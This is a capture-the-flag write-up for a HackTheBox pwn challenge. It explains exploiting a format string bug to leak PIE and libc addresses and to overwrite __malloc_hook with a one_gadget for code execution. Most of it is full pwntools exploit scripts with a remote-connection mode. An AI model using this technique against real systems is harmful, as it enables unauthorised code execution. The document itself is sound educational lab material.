Format
Format
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Can you hear the echo?
Solution Approach
Core idea: Exploiting Format String Bug (FSB). Utilize FSB to overwrite __malloc_hook with one-gadget.
Steps
- In this challenge we're given a 64 bit binary, dynamically linked, and not stripped.
┌──(D3v0o0Nu11㉿htb)-[~/Downloads/format_htb] └─$ file format format: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5d38e04d29b4aae722164869f3151cea776ce91c, for GNU/Linux 3.2.0, not stripped
BINARY PROTECTIONS
┌──(D3v0o0Nu11㉿htb)-[~/Downloads/format_htb]
└─$ pwn checksec format
[*] '/home/D3v0o0Nu11/Downloads/format_htb/format'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
-
After decompiled the binary, it seems we can leak - calculate the piebase and libc base using the format strings vuln.
-
But there is no BOF, hence we can't do ret2libc here. Also, we can't overwrite the Global Offset Table because RELRO is full.
-
So how to get RCE? We still can utilize
__malloc_hook.
MALLOC HOOK
- __malloc_hook is a hook function which is called whenever malloc is called.
- We can use one_gadget and we can trigger them by sending big buffer.
- printf() will use malloc to allocate memory after we sent big buffer.
- Let us grab the piebase and potential libc.
Many potential pie we can use to calculate the base.
NOTES: In this writeup i won't explain again how to calculate the libc base and piebase again, i've explained this many times, go check my other writeups for explaination.
- After calculating the piebase and libc base, before overwriting __malloc_hook with one_gadget, we need to identify the libc used at the remote server so we won't work twice.
- Well, what I did to identify the remote server is kind of lucky, I guess; maybe there are many ways that are more straightforward.
FLOW
- Do breakrva at the printf() and run the script using GDB args.
SCRIPT Pt.1
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
### 0x11f1
gdbscript = '''
init-pwndbg
breakrva 0x11f1
continue
'''.format(**locals())
exe = './format'
elf = context.binary = ELF(exe, checksec=True)
### context.log_level = 'DEBUG'
### context.log_level = 'ERROR'
context.log_level = 'INFO'
library = '/lib/x86_64-linux-gnu/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
### # LEAKING POTENTIAL LIBC BASE
sh = start()
for i in range(200):
sh.sendline('%{}$p'.format(i))
get = sh.recvline().strip()
print(str(i), ':', get)
We got IO_2_1_stdin
-
But when i used the leaked IO_2_1_stdin at the remote server and check it on blukat, it did not found any libc relevant to this.
-
Anyway, at the end i got result after sending the IO_2_1_stderr.
-
But, we need to know the actual libc used, to minimize the probability i used the leaked _IO_file_jumps.
AT REMOTE
RESULT at libc blukat
-
It's better than before, but we need to find the correct one. Notice, we can ignore the first seven (because they are for 32 bit).
-
Our interest are these:
-
So this is where my way gets unintended, I didn't leak the printf@got or fgets@got to get more accurate libc result, I immediately tried the
libc6_2.27-3ubuntu1_amd64. So what comes to my mind, if thelibc6_2.27-3ubuntu1_amd64does not work, i will use thelibc6_2.27-3ubuntu1.2_amd64and so on.
FYI --> snippet for get fmtstr offset.
sh = process(exe)
def exploit(payload):
sh.sendline(payload)
return sh.recvline().strip()
format_strings = FmtStr(execute_fmt=exploit)
log.success('OFFSET --> %d', format_strings.offset)
-
Download the libc and do pwninit.
-
Let us grab one_gadget and __malloc_hook.
ONE_GADGET --> try the 2nd one (0x4f322).
- Our script so far.
SCRIPT (95%).
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
### 0x11f1
gdbscript = '''
init-pwndbg
breakrva 0x11f1
continue
'''.format(**locals())
exe = './format_patched'
elf = context.binary = ELF(exe, checksec=True)
### context.log_level = 'DEBUG'
### context.log_level = 'ERROR'
context.log_level = 'INFO'
### library = '/lib/x86_64-linux-gnu/libc.so.6'
library = './libc6_2.27-3ubuntu1_amd64.so' # remote libc
libc = context.binary = ELF(library, checksec=False)
### # LEAKING POTENTIAL LIBC BASE
### sh = start()
### for i in range(200):
### sh.sendline('%{}$p'.format(i))
### get = sh.recvline().strip()
### print(str(i), ':', get)
### GET FORMAT STRINGS OFFSET
sh = process(exe)
def exploit(payload):
sh.sendline(payload)
return sh.recvline().strip()
format_strings = FmtStr(execute_fmt=exploit)
log.success('OFFSET --> %d', format_strings.offset)
sh = start()
#pause()
### # sh.sendline('%37$p.%1$p')
### sh.sendline('%37$p.%28$p') # 28 _IO_file_jumps
sh.sendline('%37$p.%2$p')
get = sh.recvline().strip()
leaked_pie = int(get[:14], 16)
log.success('LEAKED PIE --> %#0x', leaked_pie)
elf.address = leaked_pie - 0x126d # 4717
log.success('PIE BASE --> %#0x', elf.address)
leaked_libc = int(get[15:], 16)
log.success('LEAKED LIBC --> %#0x', leaked_libc)
libc.address = leaked_libc - 0x3ed8d0 # 4118736
log.success('LIBC BASE --> %#0x', libc.address)
malloc_hook = libc.address + 0x98700
log.success('MALLOC HOOK --> %#0x', malloc_hook)
one_gadget = libc.address + 0x4f322
malloc = libc.address + 0x3ebc30
sh.interactive()
- For the final script, we just need to overwrite __malloc_hook to one_gadget using fmtstr_payload, then send big buffer.
FINAL SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
### 0x11f1
gdbscript = '''
init-pwndbg
breakrva 0x11f1
continue
'''.format(**locals())
exe = './format_patched'
elf = context.binary = ELF(exe, checksec=True)
### context.log_level = 'DEBUG'
### context.log_level = 'ERROR'
context.log_level = 'INFO'
### library = '/lib/x86_64-linux-gnu/libc.so.6'
library = './libc6_2.27-3ubuntu1_amd64.so' # remote libc
libc = context.binary = ELF(library, checksec=False)
### # LEAKING POTENTIAL LIBC BASE
### sh = start()
### for i in range(200):
### sh.sendline('%{}$p'.format(i))
### get = sh.recvline().strip()
### print(str(i), ':', get)
### GET FORMAT STRINGS OFFSET
sh = process(exe)
def exploit(payload):
sh.sendline(payload)
return sh.recvline().strip()
format_strings = FmtStr(execute_fmt=exploit)
log.success('OFFSET --> %d', format_strings.offset)
sh = start()
#pause()
### # sh.sendline('%37$p.%1$p')
### sh.sendline('%37$p.%28$p') # 28 _IO_file_jumps
sh.sendline('%37$p.%2$p')
get = sh.recvline().strip()
leaked_pie = int(get[:14], 16)
log.success('LEAKED PIE --> %#0x', leaked_pie)
elf.address = leaked_pie - 0x126d # 4717
log.success('PIE BASE --> %#0x', elf.address)
leaked_libc = int(get[15:], 16)
log.success('LEAKED LIBC --> %#0x', leaked_libc)
libc.address = leaked_libc - 0x3ed8d0 # 4118736
log.success('LIBC BASE --> %#0x', libc.address)
malloc_hook = libc.address + 0x98700
log.success('MALLOC HOOK --> %#0x', malloc_hook)
one_gadget = libc.address + 0x4f322
malloc = libc.address + 0x3ebc30
payload = fmtstr_payload(format_strings.offset, {malloc:one_gadget})
sh.sendline(payload)
sh.sendline(b'%100000s') # GOT RCE AT 100000s. | or you can just send %1000000c --> Since we're sending big buffer, it shall trigger malloc usage.
### Forcing libc to allocate space on the heap.
sh.interactive()
TEST LOCAL
TEST REMOTELY
Flag
REDACTED
Lessons Learned
- Exploiting Format String Bug (FSB).
- Utilize FSB to overwrite
__malloc_hookwith one-gadget.